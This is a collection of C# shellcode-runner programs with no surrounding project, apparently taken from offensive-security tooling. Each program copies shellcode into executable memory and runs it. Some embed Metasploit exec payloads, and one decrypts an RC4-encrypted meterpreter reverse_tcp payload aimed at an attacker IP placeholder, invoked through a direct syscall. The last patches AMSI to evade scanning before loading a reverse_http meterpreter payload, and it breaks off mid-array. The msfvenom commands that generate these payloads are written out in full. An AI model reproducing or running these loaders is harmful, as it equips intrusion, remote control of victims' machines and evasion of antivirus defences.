public static void Main(string[] args) { //Determine OS version OperatingSystem os = Environment.OSVersion; //On x86 pointer is 4 long, 8 on x64 bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (!x86) { //Example x64 shellcode, test payload = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2 }; } else { //Example x86 shellcode payload = new byte[] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00 }; } //Allocating memory for payload (1. First viable location, 2. Amount of memory to allocate, // 3. magic value tells to allocate now,4. magic value sets section to RWX) IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); //Copying payload to memory section (1. Byte array we want to copy into section, 2. Index to copy at, // 3. Where we wanna copy to (pointer from VirtualAlloc, 4. Bytes we wanna copy (all payload)) Marshal.Copy(payload, 0, ptr, payload.Length); //Point to shellcode in memory WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); //Run r(); } }
public static void Main(string[] args) { string input; if (args.Length > 0) { input = args[0]; } else { string fileName = Process.GetCurrentProcess().MainModule.FileName; fileName = fileName.Substring(0, fileName.LastIndexOf(".")) + ".txt"; if (File.Exists(fileName)) { input = File.ReadAllLines(fileName)[0].Trim(); } // For download, uncomment the following two lines, and set the URL // else using (var webClient = new WebClient()) // input = webClient.DownloadString("http://host/test.txt").Trim(); } input = Regex.Replace(input, @"\s+", string.Empty); // Console.WriteLine(input); byte[] hexy = Str2ByteArray(input); IntPtr pointer = VirtualAlloc(IntPtr.Zero, (IntPtr)hexy.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(hexy, 0, pointer, hexy.Length); WindowsRun runner = (WindowsRun)Marshal.GetDelegateForFunctionPointer(pointer, typeof(WindowsRun)); runner(); }
// string prepare_payload = Convert.ToBase64String(payload); static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; string payloadB64_x64 = "u/x5t1jaxNl0JPRaK8mxm4PCBDFaEANaEB6MbYpkmsJGTLyXvJhhaXTRCrjQC7B92CjglwMuhyPOsJ/jJbsHg4aBCeDlR6ys6Sy7duAy5h2Y9u3v814pVEz3UCZ4Mq7oMyS2vE5lcjbo+sKIe4FFLmrzCpYe6bwyeXsrn0X5YO6fBzHFgKwkK8e7bii6cRjxRWztBxmZPFv652X6gghmaBpGYKDjOvqHhSVoVkHdzZF+PEx0fyGvXziz90OIqXXB40OkF8LmfpwxiYZnKtsUJ+GDll16OWmb61bxU77UbusXJKdm0Uh9nVAPgTDsHecYk9HmLm0HZuNiSxFSuYCMy2Um3N3pTYSIgjLJWRDGkC6PvWjGlwWfPcBS71fHa3DLjBBJDEcasok5aStNuwb0IMmFsgrgrONkFmeiGqUcrgc2+vlMX7gkIuVfMde1lw34xH+qCJQTJm52O7DTM6qklDXHn1CTEcYYZek75pGSGZw9sI572O9yAC3TION+BMKJSR+B4ZpQn4XvO+rpmVCSDV7rq7R8XcJYR2vfWqWur6kNDhs/EIpirxon0ojGfrQm7/jV727FKNXYR8uonJnJTIDS7TlTayO5kdskTj5CE8PE8JquoySuJbPm32HR8WKkPghlAWw+i113+lWHTXq52TYKQWEXg9uV3AbLCHVdxUiZ+caQfibkc2SPa6uujdPnK1fibG6qP1f47BvSbJrDtiy51FNmyz5/QF523nYh84w4gFJuqknqjBSa8QeijvrpWn35w2yjbNuNiBnKoH6fyp53l/O/YfWP6pMvVgXvw8pTG/Tt8vz6Hvgnqnop47iAadjRpwFyl9qtzVOM766WRiW5hcYP"; string payloadB64_x86 = "297ZdCT0uu/sQjdeKcmxcTFWGIPGBANW+w636sMWTDE39obwDzoCukX03jhf8i95SvgJkKvQ93+ViE9xvytJ0/oLsofcKXL6wiolIud5D4edQjrFPSst+64VoFYJMyXaZTeifvGaMFqsyK7R0Aw0nA8GKtbLZrEFU+UQY/3es2BHhWnmu5YNu70/iLYLRNUjEILoP1pHgCkQEDDKsz1z20PibDZk5w/wCrAvbgTiIww9oGeKJcfe8waV39A0GQRkBX5kQDJA5Pa4L3v51U5Xxz4VuxBQa6PoFR3fIh7JO2k+7XywrWLfzTYDhULcc3GtdHei3L3NigFc04dmfU7qiWQIJi/z2rgMKUipMyLsiubJnxH92ugj33RdfzRxLia5Ye0YbE4j2DEUD1hjKcVa+h5gNmHZpfJNVaWoovS2nCXA5/b7EdgjMgkMwNs7pT1WusXAq8Pis2woBnLgz0at+GJrhK2a+GmQe1mTv3628F54G2tNLKL9HkxFvpxb4m7y4ZGI8xGsPasDOOYg14rcmC6Cyv6mmkzvBkSY5NPvtH6G2HRKKENTV7Y1D6ht7eJMUtNc6Uo8rafvCPMmEFkuKdw/RToD1l8be3nvJv9m9QgyDnpnCjW1mO724Kg="; //paste buf from msfvenom here //string prepare_payload = Convert.ToBase64String(buf); if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (!x86) { payload = Convert.FromBase64String(payloadB64_x64); } else { payload = Convert.FromBase64String(payloadB64_x86); } IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); r(); } }
static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (x86) { payload = new byte[276] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; } else { payload = new byte[] { }; } IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun runner = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); runner(); } }
static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32NT) { if (!x86) { payload = System.Text.Encoding.Default.GetBytes("x86-64 payload here"); } else { payload = System.Text.Encoding.Default.GetBytes("x86 payload here"); } IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); r(); } }
static void Main(string[] args) { var localProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; //msfvenom --encrypt rc4 --encrypt-key inc0d3 -a x64 -p windows/x64/meterpreter/reverse_tcp lhost=IP-ATACANTE lport=443 -f csharp byte[] encrypted = new byte[510] { 0x88, 0xa1, 0x26, 0x40, 0xb5, 0x38, 0xd1, 0xcc, 0xf0, 0x6f, 0x95, 0x33, 0x33, 0x24, 0x60, 0x97, 0xfb, 0x45, 0x88, 0xe2, 0x99, 0xa1, 0xce, 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, 0xfc, 0xc2, 0xc7, 0x47, 0x47, 0x5e, 0x7c, 0xbe, 0x34, 0x6f, 0xdd, 0x6d, 0xf0, 0x74, 0xa4, 0xa8, 0x39, 0xc1, 0x2f, 0x41, 0xbf, 0xa6, 0x63, 0x65, 0x90, 0x3d, 0xf3, 0xd8, 0x83, 0xbf, 0x9c, 0x7d, 0x3d, 0xb9, 0x70, 0x7e, 0x5f, 0x99, 0x06, 0x97, 0xae, 0xbc, 0xf3, 0x1a, 0x47, 0x95, 0xe7, 0x7f, 0xcc, 0x20, 0xca, 0x77, 0x9f, 0x34, 0xe4, 0x48, 0x01, 0x44, 0x81, 0x77, 0x05, 0xf1, 0xb2, 0x95, 0xbd, 0x36, 0xf2, 0xc8, 0xde, 0xc4, 0x57, 0x34, 0x90, 0x9e, 0xf8, 0x23, 0xd2, 0xad, 0x91, 0x79, 0x21, 0xf5, 0x26, 0x9e, 0xa3, 0xdb, 0x72, 0x02, 0xda, 0xd8, 0xbe, 0x2b, 0xc7, 0xa9, 0x6b, 0x3d, 0x25, 0x54, 0xad, 0x67, 0x8c, 0x08, 0x3f, 0x07, 0x0d, 0x44, 0xfd, 0x11, 0x8e, 0x65, 0xb4, 0x53, 0x79, 0x52, 0x49 }; var shellcode = new byte[] { 0x4C, 0x8B, 0xD1, // mov r10, rcx 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x00 (syscall identifier) 0x0F, 0x05, // syscall 0xC3 // ret }; var syscallIdentifierBytes = BitConverter.GetBytes(0x3A); // NtWriteVirtualMemory Buffer.BlockCopy(syscallIdentifierBytes, 0, shellcode, 4, sizeof(uint)); var shellCodePtr = VirtualAllocEx(localProcess, IntPtr.Zero, shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); if (shellCodePtr == IntPtr.Zero) { throw new Exception("VirtualAlloc did not return a valid address" + Marshal.GetLastWin32Error().ToString()); } var syscallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodePtr, typeof(NtWriteVirtualMemory)); Marshal.Copy(shellcode, 0, shellCodePtr, shellcode.Length); byte[] key = Encoding.UTF8.GetBytes("inc0d3"); byte[] dec = EncryptOutput(key, encrypted).ToArray(); var damn = VirtualAllocEx(localProcess, IntPtr.Zero, dec.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); var ret = syscallDelegate.DynamicInvoke(localProcess, damn, dec, (UInt32)dec.Length, IntPtr.Zero); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(damn, typeof(WindowsRun)); r(); }
public static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (!x86) { payload = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c } } ; else { payload = new byte[] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 } }; IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); r(); } else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128) { if (!x86) { payload = new byte[] { 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x03, 0x00, 0x00, 0x00, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 } } ; else { payload = new byte[] { 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x03, 0x00, 0x00, 0x00, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 } }; IntPtr ptr = IntPtr.Zero; IntPtr success; bool freeMe = false; try { int pagesize = 4096; IntPtr length = (IntPtr)payload.Length; success = posix_memalign(ref ptr, (IntPtr)32, length); if (success != IntPtr.Zero) { Console.WriteLine("Bail! memalign failed: " + success); return; } freeMe = true; IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1)); IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); success = mprotect(alignedPtr, (IntPtr)32, mode); if (success != IntPtr.Zero) { int err = Marshal.GetLastWin32Error(); Console.WriteLine("Bail! mprotect failed: " + err); return; } Marshal.Copy(payload, 0, ptr, payload.Length); LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun)); r(); } finally { if (freeMe) { free(ptr); } } } } }
public static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (!x86) { /* * windows/x64/exec - 276 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ payload = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 } } ; else { /* * windows/exec - 200 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ payload = new byte[] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb9, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 } }; IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); r(); } else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128) //linux { if (!x86) { /* * linux/x64/exec - 55 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/whoami */ payload = new byte[] { 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 } } ; else { /* * linux/x86/exec - 51 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/whoami */ payload = new byte[] { 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 } }; IntPtr ptr = IntPtr.Zero; IntPtr success; bool freeMe = false; try { int pagesize = 4096; IntPtr length = (IntPtr)payload.Length; success = posix_memalign(ref ptr, (IntPtr)32, length); if (success != IntPtr.Zero) { Console.WriteLine("Bail! memalign failed: " + success); return; } freeMe = true; IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1)); //get page boundary IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX -- careful of selinux success = mprotect(alignedPtr, (IntPtr)32, mode); if (success != IntPtr.Zero) { int err = Marshal.GetLastWin32Error(); Console.WriteLine("Bail! mprotect failed: " + err); return; } Marshal.Copy(payload, 0, ptr, payload.Length); LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun)); r(); } finally { if (freeMe) { free(ptr); } } } } }
static void Main(string[] args) { // SharpSploit's AMSI Bypass by _RastaMouse SharpSploit.Evasion.Amsi.PatchAmsiScanBuffer(); // Replace payload below and make sure to add this to your exploit/multi/handler options: // set autoverifysession false // set autoloadstdapi false // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=eth0 LPORT=8080 -f csharp --encrypt rc4 --encrypt-key kekz -v payload byte[] payload = new byte[704] { 0x6e, 0x3a, 0x38, 0xe0, 0x8a, 0xf9, 0x47, 0x8b, 0x79, 0xd7, 0xc7, 0x79, 0x6d, 0xf4, 0x1c, 0xf3, 0xd6, 0xc1, 0xf6, 0x55, 0x66, 0x8b, 0xfc, 0xaa, 0xf3, 0xa8, 0x5c, 0x4c, 0xda, 0xa0, 0x43, 0x1b, 0x96, 0x21, 0x36, 0x4d, 0xd8, 0x7c, 0xf2, 0xba, 0x3c, 0xcd, 0x0d, 0x93, 0xaf, 0x0b, 0x8a, 0xbb, 0x34, 0xa7, 0x5f, 0x4b, 0xb9, 0x0c, 0x89, 0x9a, 0x6c, 0x87, 0x8d, 0xc9, 0xf8, 0xd4, 